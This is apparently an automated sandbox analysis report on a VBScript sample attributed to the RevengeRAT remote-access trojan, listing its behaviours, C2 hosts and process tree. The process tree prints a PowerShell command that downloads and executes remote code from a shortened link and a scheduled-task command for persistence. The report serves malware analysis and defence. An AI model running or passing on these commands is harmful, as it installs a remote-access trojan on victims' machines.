Analysis

  • max time kernel
    134s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/09/2024, 10:56

General

  • Target
    cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs
  • Size 1KB
  • Sample240906-m17dxsshmg
  • SHA256 69a7fd5ba6e543deeba3bc302c5cde78e0e089e95b28a86a46783d5db0f8c683
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://bit.ly/2XDPsZ6

Extracted

Family
  • revengerat

Botnet
  • 442,

C2
  • googleq.myq-see.com,googletest.linkpc.net:,

Mutex
  • ,

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • RevengeRat Executable 1 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:2900
    • C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe
      "C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe" -noexit -C $cry = new-object Net.WebClient;iex $cry.DownloadString('http://bit.ly/2XDPsZ6')
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3372
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 8 /tn localhost /tr "C:\Users\Admin\AppData\Roaming\cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3632

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_1ujpsyv4.3vd.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ujpsyv4.3vd.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/3372-19-0x00000000060D0000-0x00000000060EE000-memory.dmp

        memory/3372-21-0x0000000006610000-0x0000000006654000-memory.dmp

        memory/3372-3-0x0000000074860000-0x0000000075010000-memory.dmp

        memory/3372-5-0x0000000074860000-0x0000000075010000-memory.dmp

        memory/3372-6-0x0000000005200000-0x0000000005222000-memory.dmp

        memory/3372-7-0x0000000005910000-0x0000000005976000-memory.dmp

        memory/3372-8-0x0000000005A70000-0x0000000005AD6000-memory.dmp

        memory/3372-2-0x00000000027B0000-0x00000000027E6000-memory.dmp

        memory/3372-14-0x0000000005AE0000-0x0000000005E34000-memory.dmp

        memory/3372-1-0x000000007486E000-0x000000007486F000-memory.dmp

        memory/3372-4-0x0000000005270000-0x0000000005898000-memory.dmp

        memory/3372-22-0x0000000007A00000-0x000000000807A000-memory.dmp

        memory/3372-20-0x0000000006160000-0x00000000061AC000-memory.dmp

        memory/3372-23-0x00000000073A0000-0x00000000073BA000-memory.dmp

        memory/3372-24-0x00000000075B0000-0x00000000075C4000-memory.dmp

        memory/3372-25-0x0000000007660000-0x00000000076FC000-memory.dmp

        memory/3372-26-0x00000000075E0000-0x00000000075EA000-memory.dmp

        memory/3372-27-0x0000000008630000-0x0000000008BD4000-memory.dmp

        memory/3372-28-0x0000000007900000-0x0000000007976000-memory.dmp

        memory/3372-29-0x000000007486E000-0x000000007486F000-memory.dmp

        memory/3372-30-0x0000000074860000-0x0000000075010000-memory.dmp